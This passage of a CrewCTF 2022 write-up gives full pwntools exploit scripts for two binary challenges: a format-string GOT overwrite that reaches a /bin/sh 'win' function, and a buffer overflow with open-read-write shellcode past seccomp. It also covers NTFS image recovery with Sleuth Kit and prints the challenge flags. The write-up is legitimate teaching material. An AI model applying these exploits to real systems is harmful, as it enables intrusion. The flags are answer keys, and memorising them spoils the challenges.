      undefined8 local_10;
      
      local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
      ignore_me();
      puts("Haven\'t we met before?");
      read(0,local_228,0x200);
      printf(local_228);
                        /* WARNING: Subroutine does not return */
      exit(0);
    }
    
    void win(void)
    
    {
      puts("I Knew it. We\'ve met before.");
      system("/bin/sh");
      return;
    }

    There is win function to execute /bin/sh.

    This is a simple challenge related to format string attack.

    solve.py
    from pwn import *
    
    elf = ELF("./chall")
    io = remote("ubume.crewctf-2022.crewc.tf", 1337)
    
    addr_win = 0x40070a
    
    
    def make_payload(address):
        payload = b""
        # __libc_start_main ret addr から libc address の leak
        payload += b"%75$016lx"  # rsp は6番目 (なぜなら rsi, rdx, rcx, r8, r9, rsp だから) で、 rbp+0x8 は 75番目
        n = 16  # 最初 __libc_start_main の return address の表示に16文字消費
        print("target address", hex(address))
        # buf+0x80 に書き込むアドレスを置くことにする
        # これは22番目に対応
        for i in range(8):
            t = ((address % 0x100) - n) % 256
            if t == 0:
                t += 256
            # t = (address % 0x100) - n % 256
            # if t <= 1:
            #     t += 256
            payload += f"%{t}c%{22+i}$hhn".encode()
            address //= 256
            n += t
        assert 0x80 - len(payload) >= 0
        payload += b"A" * (0x80 - len(payload))
        addr_got_exit = elf.got["exit"]
        for i in range(8):
            payload += p64(addr_got_exit + i)
        print(payload)
        return payload
    
    
    payload = make_payload(addr_win)
    io.recvline()
    io.send(payload)
    io.interactive()

    crew{format_string_aattack_f0r_0verr1ding_GOT_!!!}

    Wiznu

    69 solves

    checksec result:

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      PIE enabled
        RWX:      Has RWX segments
    

    Ghidra decompiler result:

    undefined8 main(EVP_PKEY_CTX *param_1)
    
    {
      undefined local_108 [256];
      
      ignore_me();
      init(param_1);
      printf("Special Gift for Special Person : %p\n",local_108);
      printf("> ");
      read(0,local_108,0x120);
      return 0;
    }
    
    int init(EVP_PKEY_CTX *ctx)
    
    {
      int iVar1;
      undefined8 uVar2;
      
      uVar2 = seccomp_init(0);
      seccomp_rule_add(uVar2,0x7fff0000,2,0);
      seccomp_rule_add(uVar2,0x7fff0000,0,0);
      seccomp_rule_add(uVar2,0x7fff0000,1,0);
      iVar1 = seccomp_load(uVar2);
      return iVar1;
    }

    Since the binary is NX disabled, there is a BOF vuln and we know the stack address, we can write shellcode and jump to it by writing stack address to return address. But seccomp in init only allows read, write and open. Therefore I called fp = open("flag"), read(fp, $rsp, 50) and write(1, $rsp, 50) in order.

    solve.py
    from pwn import *
    
    elf = ELF("./chall")
    context.binary = elf
    
    io = remote("wiznu.crewctf-2022.crewc.tf", 1337)
    io.recvuntil(b"Special Gift for Special Person : ")
    addr_stack = int(io.recvline().strip().decode(), 16)
    print(f"{addr_stack = :#x}")
    
    shellcode = asm(shellcraft.open("flag"))
    shellcode += asm(shellcraft.read("rax", "rsp", 50))
    shellcode += asm(shellcraft.write(1, "rsp", 50))
    
    payload = shellcode.ljust(256+8, b"A") + p64(addr_stack)
    print(payload)
    io.sendlineafter(b"> ", payload)
    io.interactive()

    crew{ORW_come_to_the_rescue_st4rn_h3r3!}

    forensics

    Corrupted

    191 solves

    Many As are embedded at the begining and end of Corrupted.001. I removed them by hand. After that, file header worked correctly.

    $ file Corrupted.001.fix
    Corrupted.001.fix: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 81836032, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 102399, $MFT start cluster 4266, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 058fe49e9fe49c04c; contains bootstrap BOOTMGR
    
    $ fls -r Corrupted.001.fix
    r/r 4-128-1:	$AttrDef
    r/r 8-128-2:	$BadClus
    r/r 8-128-1:	$BadClus:$Bad
    r/r 6-128-4:	$Bitmap
    r/r 7-128-1:	$Boot
    d/d 11-144-4:	$Extend
    + d/d 29-144-2:	$Deleted
    + r/r 25-144-2:	$ObjId:$O
    + r/r 24-144-3:	$Quota:$O
    + r/r 24-144-2:	$Quota:$Q
    + r/r 26-144-2:	$Reparse:$R
    + d/d 27-144-2:	$RmMetadata
    ++ r/r 28-128-4:	$Repair
    ++ r/r 28-128-2:	$Repair:$Config
    ++ d/d 31-144-2:	$Txf
    ++ d/d 30-144-2:	$TxfLog
    +++ r/r 32-128-2:	$Tops
    +++ r/r 32-128-4:	$Tops:$T
    +++ r/r 33-128-1:	$TxfLog.blf
    +++ r/r 34-128-1:	$TxfLogContainer00000000000000000001
    +++ r/r 35-128-1:	$TxfLogContainer00000000000000000002
    r/r 2-128-1:	$LogFile
    r/r 0-128-6:	$MFT
    r/r 1-128-1:	$MFTMirr
    d/d 51-144-1:	$RECYCLE.BIN
    + d/d 52-144-1:	S-1-5-21-523540568-1582187581-798654756-1000
    ++ r/r 53-128-1:	desktop.ini
    r/r 9-128-8:	$Secure:$SDS
    r/r 9-144-11:	$Secure:$SDH
    r/r 9-144-14:	$Secure:$SII
    r/r 10-128-1:	$UpCase
    r/r 10-128-4:	$UpCase:$Info
    r/r 3-128-3:	$Volume
    r/r 49-128-1:	0xSh3rl0ck.jpeg
    d/d 39-144-5:	pictures
    + r/r 40-128-1:	Capture (1).PNG
    + r/r 41-128-1:	Screenshot (1).png
    + r/r 42-128-1:	Screenshot (12).png
    + r/r 43-128-1:	Screenshot (13).png
    + r/r 44-128-1:	Screenshot (14).png
    + r/r 45-128-1:	Screenshot (15).png
    + r/r 46-128-1:	Screenshot (2).png
    + r/r 47-128-1:	Screenshot (23).png
    + r/r 48-128-1:	Screenshot (3).png
    d/d 36-144-1:	System Volume Information
    + r/r 38-128-1:	IndexerVolumeGuid
    + r/r 37-128-1:	WPSettings.dat
    r/r 50-128-1:	test.txt
    V/V 256:	$OrphanFiles
    

    Capture (1).PNG contained the flag.

    $ icat Corrupted.001.fix 40-128-1 > Capture1.png

    crew{34sY_C0rrupt3D_GPT}

    misc

    Where's Waldo

    57 solves

    Careful observation revealed that there were the same images. The challenge description implied that the flag file was only one. I looked for only one image and the filename of it was the flag (what's intended in this chall..?).

    crew{887b7d982a3a8d472b29850c}